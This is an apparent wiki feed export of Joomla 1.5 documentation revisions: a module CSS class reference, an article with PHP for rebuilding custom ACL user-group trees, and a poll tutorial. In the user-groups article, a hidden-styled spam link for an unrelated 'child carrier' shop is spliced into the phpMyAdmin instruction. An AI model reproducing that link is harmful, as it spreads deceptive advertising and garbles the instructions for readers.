* &amp;amp;lt;code&amp;gt;.button&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.input&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;fieldset&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.inputbox&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;text&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_mainmenu&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#current&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;li&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; for the current page&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.active&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;li&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; for the current page&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.parent&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;li&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; if child links exist&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.item##&amp;amp;lt;/code&amp;gt; class applied to the &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;li&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;, where ## is the ItemId &lt;br /&gt;
* &#039;&#039;Menu-Type Parameters&#039;&#039;:&lt;br /&gt;
** &#039;&#039;List&#039;&#039;&lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;#menu&amp;amp;lt;/code&amp;gt; id is applied to the &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;ul&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; &lt;br /&gt;
:: becomes .menu if more than one menu is present on the page [CHECK] &lt;br /&gt;
:* &#039;&#039;Legacy-Vertical&#039;&#039; &lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;.mainlevel&amp;amp;lt;/code&amp;gt; class is applied to each link in a &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;table&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of 100% width&lt;br /&gt;
:* &#039;&#039;Legacy-Horizontal&#039;&#039; &lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;.mainlevel&amp;amp;lt;/code&amp;gt; class is applied to each link in a &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;table&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of 100% width&lt;br /&gt;
:* &#039;&#039;Legacy-Flat&#039;&#039; &lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;#mainlevel&amp;amp;lt;/code&amp;gt; id is applied to the &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;ul&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
:: becomes .menu if more than one menu is present on the page [CHECK] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_mostread&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.mostread&amp;amp;lt;/code&amp;gt; class applied to surrounding &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;ul&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;, to each &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;li&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;, and to each link&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_newsflash&#039;&#039;&#039;&lt;br /&gt;
* &#039;&#039;Layout-Type Parameters&#039;&#039;:&lt;br /&gt;
** &#039;&#039;Default&#039;&#039;&lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;.contentpaneopen&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;table&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of no set width &lt;br /&gt;
::: Two tables are created, one holds the article title, the second holds the abbreviated article text&lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;.contentheading&amp;amp;lt;/code&amp;gt; class applied to the &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;td&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; element holding the article titles&lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;.contentpagetitle&amp;amp;lt;/code&amp;gt; class applied to the article link&lt;br /&gt;
:* &#039;&#039;Horz&#039;&#039;&lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;.moduletable&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;table&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of no set width&lt;br /&gt;
::: each item is placed in a new &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;td&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; element with default styles&lt;br /&gt;
:* &#039;&#039;Vert&#039;&#039;&lt;br /&gt;
:: &amp;amp;lt;code&amp;gt;.article_separator&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;span&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; is added after each item if more than one exists&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_poll&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.poll&amp;amp;lt;/code&amp;gt; class applied to surrounding &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;table&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of 95% width and centered text-alignment&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.pollstableborder&amp;amp;lt;/code&amp;gt; applied to inner &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;table&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; of no set width, which holds the vote options&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.sectiontableentry1&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;td&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; with valign=&amp;quot;top&amp;quot;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.sectiontableentry2&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;td&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; with valign=&amp;quot;top&amp;quot;&lt;br /&gt;
:: &#039;&#039;Note: sectiontableentry1 and sectiontableentry2 alternate each table row to provide for alternate row colors or other formatting&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#voteid##&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;, where ## is the Id of the option&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.button&amp;amp;lt;/code&amp;gt; applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; and &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;button&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_random_image&#039;&#039;&#039;&lt;br /&gt;
: None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_related_items&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.relateditems&amp;amp;lt;/code&amp;gt; class applied to surrounding &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;ul&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_search&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.search&amp;amp;lt;/code&amp;gt; class applied to surrounding &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;div&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.inputbox&amp;amp;lt;/code&amp;gt; class applied to search input box &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;text&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;. Also there is an id &amp;amp;lt;code&amp;gt;#mod_search_searchword&amp;amp;lt;/code&amp;gt; applied to this input box&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.button&amp;amp;lt;/code&amp;gt; class applied to search submit button/image &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;image&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt; and &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_sections&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.sections&amp;amp;lt;/code&amp;gt; class applied to surrounding &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;ul&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_stats&#039;&#039;&#039;&lt;br /&gt;
: None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_syndicate&#039;&#039;&#039;&lt;br /&gt;
: None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_whosonline&#039;&#039;&#039;&lt;br /&gt;
: None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;mod_wrapper&#039;&#039;&#039;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;#blockrandom&amp;amp;lt;/code&amp;gt; id applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;iframe&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
* &amp;amp;lt;code&amp;gt;.wrapper&amp;amp;lt;/code&amp;gt; class applied to &amp;amp;lt;tt&amp;gt;&amp;amp;lt;nowiki&amp;gt;&amp;amp;lt;iframe&amp;gt;&amp;amp;lt;/nowiki&amp;gt;&amp;amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;noinclude&amp;gt;[[Category: Templates]][[Category: Modules]][[Category: Reference]][[Category:Definition lists]]&amp;amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:Custom_user_groups&amp;diff=62333</id>
		<title>J1.5:Custom user groups</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:Custom_user_groups&amp;diff=62333"/>
		<updated>2011-09-26T18:48:11Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{JVer|1.5}}&lt;br /&gt;
&#039;&#039;Please note that this article only applies to Joomla 1.5. See [[:Category:Access Control]] for articles on access control in other versions of Joomla.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
I use custom user groups (user roles) within Joomla 1.5. For example under the registered users group I&#039;ve added several subgroups:&lt;br /&gt;
&lt;br /&gt;
 myproject&lt;br /&gt;
  customers&lt;br /&gt;
   customer A admin&lt;br /&gt;
  product manager&lt;br /&gt;
   product manager admin&lt;br /&gt;
  etc....&lt;br /&gt;
&lt;br /&gt;
I use these groups within my extension to set the permissions.&lt;br /&gt;
&lt;br /&gt;
When I add the groups into the jos_core_acl_aro_groups table and set the relations correctly the groups in the user management are not displayed correctly (e.q. the administrator groups disappear). For displaying the groups correctly you will have to change the code of :&lt;br /&gt;
administrator/components/com_users/admin.users.php line 285:&lt;br /&gt;
&lt;br /&gt;
(Not sure in what version this changed - but in J! 1.5.14 this change is no longer in the administrator/components/com_users/admin.users.php file. This change must now be made to administrator/components/com_users/views/user/view.html.php on line 113.)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
if ( $userGroupName == $myGroupName &amp;amp;amp;&amp;amp;amp; $myGroupName == &#039;administrator&#039; )&lt;br /&gt;
   {&lt;br /&gt;
      // administrators can&#039;t change each other&lt;br /&gt;
      $lists[&#039;gid&#039;] = &#039;&amp;amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;gid&amp;quot; value=&amp;quot;&#039;. $user-&amp;gt;get(&#039;gid&#039;) .&#039;&amp;quot; /&amp;gt;&amp;amp;lt;strong&amp;gt;&#039;. JText::_( &#039;Administrator&#039; ) .&#039;&amp;amp;lt;/strong&amp;gt;&#039;;&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
      $gtree = $acl-&amp;gt;get_group_children_tree( null, &#039;USERS&#039;, false );&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
into&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
if ( $userGroupName == $myGroupName &amp;amp;amp;&amp;amp;amp; $myGroupName == &#039;administrator&#039; )&lt;br /&gt;
   {&lt;br /&gt;
      // administrators can&#039;t change each other&lt;br /&gt;
      $lists[&#039;gid&#039;] = &#039;&amp;amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;gid&amp;quot; value=&amp;quot;&#039;. $user-&amp;gt;get(&#039;gid&#039;) .&#039;&amp;quot; /&amp;gt;&amp;amp;lt;strong&amp;gt;&#039;. JText::_( &#039;Administrator&#039; ) .&#039;&amp;amp;lt;/strong&amp;gt;&#039;;&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
      $gtree = $acl-&amp;gt;get_group_children_tree( null, &#039;USERS&#039;, true);&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you like to add your self custom groups do the following:&lt;br /&gt;
&lt;br /&gt;
Edit the jos_core_acl_aro_groups table and add your custom groups (for example with &amp;lt;span class=&amp;quot;plainlinks&amp;quot;&amp;gt;[http://www.thepiggybackrider.com/ &amp;lt;span style=&amp;quot;color:black;font-weight:normal; text-decoration:none!important; background:none!important; text-decoration:none;/*CITATION*/&amp;quot;&amp;gt;child carrier&amp;lt;/span&amp;gt;]&amp;lt;/span&amp;gt; phpmyadmin). When you add a new group make sure that you assign the correct parent to the added group. For example: the joomla registered group has the ID 18, when you assign a subgroup to it make sure that the parent_id is 18. Dont assign the lft and rght fields yet but use the code below to rebuild the groups tree correctly:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp;lt;?php&lt;br /&gt;
&lt;br /&gt;
// Put this code in a file in your Joomla root then run it. Don&#039;t forget to delete the file when you&#039;re done.&lt;br /&gt;
&lt;br /&gt;
require &#039;configuration.php&#039;;&lt;br /&gt;
$config = new JConfig; &lt;br /&gt;
&lt;br /&gt;
$user     = $config-&amp;gt;user;&lt;br /&gt;
$password = $config-&amp;gt;password;&lt;br /&gt;
$db       = $config-&amp;gt;db;&lt;br /&gt;
$host     = $config-&amp;gt;host;&lt;br /&gt;
 &lt;br /&gt;
mysql_connect($config-&amp;gt;host, $config-&amp;gt;user, $config-&amp;gt;password) or&lt;br /&gt;
	die(&amp;quot;Could not connect: &amp;quot; . mysql_error());&lt;br /&gt;
mysql_select_db($config-&amp;gt;db);&lt;br /&gt;
&lt;br /&gt;
// 0-&amp;gt; parent_id in Joomla this is the value of the parent_id field of the Root record&lt;br /&gt;
// 1-&amp;gt; start the left tree at 1&lt;br /&gt;
rebuild_tree (0, 1);&lt;br /&gt;
&lt;br /&gt;
function rebuild_tree($parent_id, $left) {&lt;br /&gt;
	&lt;br /&gt;
	global $config;&lt;br /&gt;
	&lt;br /&gt;
	// the right value of this node is the left value + 1&lt;br /&gt;
	$right = $left + 1;&lt;br /&gt;
	&lt;br /&gt;
	// get all children of this node&lt;br /&gt;
	$result = mysql_query(&#039;SELECT id FROM &#039; . $config-&amp;gt;dbprefix . &#039;core_acl_aro_groups WHERE parent_id = &#039; . $parent_id . &#039;;&#039;)&lt;br /&gt;
		or die(mysql_error());&lt;br /&gt;
	&lt;br /&gt;
	while ($row = mysql_fetch_array($result)) {&lt;br /&gt;
		// recursive execution of this function for each&lt;br /&gt;
		// child of this node&lt;br /&gt;
		// $right is the current right value, which is&lt;br /&gt;
		// incremented by the rebuild_tree function&lt;br /&gt;
		$right = rebuild_tree($row[&#039;id&#039;], $right);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// we&#039;ve got the left value, and now that we&#039;ve processed&lt;br /&gt;
	// the children of this node we also know the right value&lt;br /&gt;
	mysql_query(&#039;UPDATE &#039; . $config-&amp;gt;dbprefix . &#039;core_acl_aro_groups SET lft = &#039; . $left . &#039;, rgt = &#039; . $right . &#039; WHERE id = &#039; . $parent_id . &#039;;&#039;)&lt;br /&gt;
		or die(mysql_error());&lt;br /&gt;
&lt;br /&gt;
	// return the right value of this node + 1&lt;br /&gt;
	return $right + 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;Complete! Go check your Joomla User Admin!&#039;;&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
When you want to use the custom groups to assign to your articles so that for example only the customers can view specific articles you need to add these groups into the jos_groups, just assign the ID + name of the group whereby the name must be equal to the groups names you added into the jos_core_acl_aro_groups table.&lt;br /&gt;
&lt;br /&gt;
[[Category:Tips and tricks]]&lt;br /&gt;
[[Category:Tips and tricks 1.5]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Tutorials]]&lt;br /&gt;
[[Category:Access Control]]&lt;/div&gt;</summary>
		<author><name>MTrapp82</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=J1.5:Adding_a_new_Poll&amp;diff=62332</id>
		<title>J1.5:Adding a new Poll</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=J1.5:Adding_a_new_Poll&amp;diff=62332"/>
		<updated>2011-09-26T18:48:09Z</updated>

		<summary type="html">&lt;p&gt;MTrapp82: None&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The Joomla! Poll Manager allows you to create polls using the multiple choice format on any of your Web site pages. They can be either published in a module position using the Poll module or in a menu item using the Poll component. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How to Create a Poll in the Poll Manager==&lt;br /&gt;
# Log in to the Administrator back-end.  To learn how to do this read: [[Logging in or out of the Administrator back-end]].&lt;br /&gt;
# Click the &#039;&#039;&#039;Components&amp;gt; Polls&#039;&#039;&#039; menu item. You should see the &#039;&#039;&#039;Poll Manager&#039;&#039;&#039; screen.&lt;br /&gt;
# Click the &#039;&#039;&#039;New&#039;&#039;&#039; toolbar button to create your poll.&lt;br /&gt;
# Type the question that you wish to poll in the &#039;&#039;&#039;Title&#039;&#039;&#039; field .&lt;br /&gt;
# Type an abbreviated title of your poll in the &#039;&#039;&#039;Alias&#039;&#039;&#039; field. &lt;br /&gt;
# Change, if desired, the number of seconds between votes for each user in the &#039;&#039;&#039;Lag&#039;&#039;&#039; field.&lt;br /&gt;
# Select the &#039;&#039;&#039;No&#039;&#039;&#039; or &#039;&#039;&#039;Yes&#039;&#039;&#039; radio button to publish or not your poll. &lt;br /&gt;
# Type in the &#039;&#039;&#039;Options&#039;&#039;&#039; fields the possible choices for the answers of your poll.&lt;br /&gt;
# Click the &#039;&#039;&#039;Save&#039;&#039;&#039; or &#039;&#039;&#039;Apply&#039;&#039;&#039; toolbar button to implement the new settings:&lt;br /&gt;
#* The &#039;&#039;&#039;Save&#039;&#039;&#039; toolbar button will save your changes and return you to the Poll Manager.&lt;br /&gt;
#* The &#039;&#039;&#039;Apply&#039;&#039;&#039; button will save your changes but leave you in Poll [Edit]. You can then click &#039;&#039;&#039;Close&#039;&#039;&#039; if no other changes has been made or &#039;&#039;&#039;Save&#039;&#039;&#039; to leave this screen to return back to the Poll Manager.&lt;br /&gt;
&lt;br /&gt;
You should now see the title of your Poll in the Poll Manager table.  If you need to edit it, you can either double click the Poll Title or select the Poll by checking the check mark box and then click the &#039;&#039;&#039;Edit&#039;&#039;&#039; the toolbar button.&lt;br /&gt;
&lt;br /&gt;
==How to Publish Your Poll Using the Poll Module==&lt;br /&gt;
&lt;br /&gt;
In order for your visitors of your site to participate in your poll, you must now publish it in the Front-end of your site. You must first activate a new Poll module.&lt;br /&gt;
&lt;br /&gt;
# Click the &#039;&#039;&#039;Extensions&amp;gt; Module Manager&#039;&#039;&#039; menu item to view the &#039;&#039;&#039;Module Manager&#039;&#039;&#039; screen.&lt;br /&gt;
# Click the &#039;&#039;&#039;New&#039;&#039;&#039; toolbar button to activate your new poll module.&lt;br /&gt;
# Select the &#039;&#039;&#039;Poll&#039;&#039;&#039; radio button from the list of installed modules.&lt;br /&gt;
# Click the &#039;&#039;&#039;Next&#039;&#039;&#039; toolbar button&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Details:&#039;&#039;&#039;&lt;br /&gt;
# Type the title of your Poll module in the &#039;&#039;&#039;Title&#039;&#039;&#039; field.&lt;br /&gt;
# Select the &#039;&#039;&#039;No&#039;&#039;&#039; or &#039;&#039;&#039;Yes&#039;&#039;&#039; radio button to choose if your module title is published.&lt;br /&gt;
# Select the &#039;&#039;&#039;No&#039;&#039;&#039; or &#039;&#039;&#039;Yes&#039;&#039;&#039; radio button to enable/publish your module to your site.&lt;br /&gt;
# Select the module position from the drop down menu. &lt;br /&gt;
# Select the order that you want this module to appear on your web site if there are more than one module assigned to this position&lt;br /&gt;
# Select the &#039;&#039;&#039;Access Level&#039;&#039;&#039; as to who is able to see this module on your Web site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Menu Assignment&#039;&#039;&#039;&lt;br /&gt;
# Select from the &#039;&#039;&#039;Menu&#039;&#039;&#039; radio buttons &#039;&#039;&#039;All&#039;&#039;&#039;, &#039;&#039;&#039;None&#039;&#039;&#039; or &#039;&#039;&#039;Select Menu Item(s) from the List&#039;&#039;&#039;. If you choose this last option, then...&lt;br /&gt;
# Select the Menu items to determine which pages you wish to appear your poll.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Parameters:&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Module Parameters&#039;&#039;&#039;&lt;br /&gt;
# Select the Poll from the drop down list&lt;br /&gt;
# Type the CSS class (if needed) that is included with your CSS file (Cascading Style Sheet). This class is determined by the author of your template.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Advanced Parameters&#039;&#039;&#039;&lt;br /&gt;
# Select &#039;&#039;&#039;Global&#039;&#039;&#039; or &#039;&#039;&#039;Cashing&#039;&#039;&#039; from the drop down Cashing menu.&lt;br /&gt;
#* &#039;&#039;&#039;Global&#039;&#039;&#039; is the setting you have for this module in the Global Configurations section of your Administrator site.  (??? to verify)&lt;br /&gt;
#* &#039;&#039;&#039;Cashing&#039;&#039;&#039; is the setting for (??? What is this for?)&lt;br /&gt;
&lt;br /&gt;
# Click the &#039;&#039;&#039;Save&#039;&#039;&#039; or &#039;&#039;&#039;Apply&#039;&#039;&#039; toolbar button to implement the new settings:&lt;br /&gt;
&lt;br /&gt;
You can now visualize your work in the Front-end of your site.&lt;br /&gt;
&lt;br /&gt;
==How to Publish Your Poll Results as a Menu Item==&lt;br /&gt;
&lt;br /&gt;
# Click the &#039;&#039;&#039;Menu&amp;gt; Mainmenu (or other menu)&#039;&#039;&#039; menu item to view the &#039;&#039;&#039;Menu Item Manager: [mainmenu]&#039;&#039;&#039; screen.&lt;br /&gt;
# Click the &#039;&#039;&#039;New&#039;&#039;&#039; toolbar button to create a new menu item.&lt;br /&gt;
# Select &#039;&#039;&#039;Poll&amp;gt; Poll Layout&#039;&#039;&#039; from the list of &#039;&#039;&#039;Select Menu Item Type&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Menu Item Details:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Type the title of your poll in the &#039;&#039;&#039;Title&#039;&#039;&#039; field.&lt;br /&gt;
# Type the abbreviated title in the &#039;&#039;&#039;Alias&#039;&#039;&#039; field.&lt;br /&gt;
# Leave the &#039;&#039;&#039;Link&#039;&#039;&#039; field as is. (??? - to verify)&lt;br /&gt;
# Select the menu from the &#039;&#039;&#039;Display In&#039;&#039;&#039; drop down menu that you wish to present your poll results. &lt;br /&gt;
# Select the parent/child menu item as to where you wish your menu item to be located in the &#039;&#039;&#039;Parent Item&#039;&#039;&#039; drop down menu.&lt;br /&gt;
# Select the &#039;&#039;&#039;No&#039;&#039;&#039; or &#039;&#039;&#039;Yes&#039;&#039;&#039; radio button to publish/unpublish your new menu item to your site.&lt;br /&gt;
# New Menu Items default to the last place. Ordering can be changed after this Menu Item is saved in the &#039;&#039;&#039;Order&#039;&#039;&#039; drop down menu.&lt;br /&gt;
# Select the &#039;&#039;&#039;Access Level&#039;&#039;&#039; as to who is able to see this module on your Web site.&lt;br /&gt;
# Click from the &#039;&#039;&#039;On Click, Open in:&#039;&#039;&#039; items:&lt;br /&gt;
#* Parent Window with Browser Navigation (creates the link within your site with browser navigation)&lt;br /&gt;
#* New Window with with Browser Navigation (creates an external link with browser navigation)&lt;br /&gt;
#* New Window without Browser Navigation (creates an external link without browser navigation)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Parameters - Basic:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Select the poll from the &#039;&#039;&#039;Poll&#039;&#039;&#039; drop down menu.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Parameters - System&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Type (if needed) the page title. (If left blank, the menu item title will be used)&lt;br /&gt;
# Select the &#039;&#039;&#039;No&#039;&#039;&#039; or &#039;&#039;&#039;Yes&#039;&#039;&#039; radio button to publish/unpublish your page title.&lt;br /&gt;
# Type the CSS class of your page if different from the standard CSS class for pages.&lt;br /&gt;
# Select from the &#039;&#039;&#039;Menu Image&#039;&#039;&#039; drop down menu an image that goes to the left or right of your menu item.&lt;br /&gt;
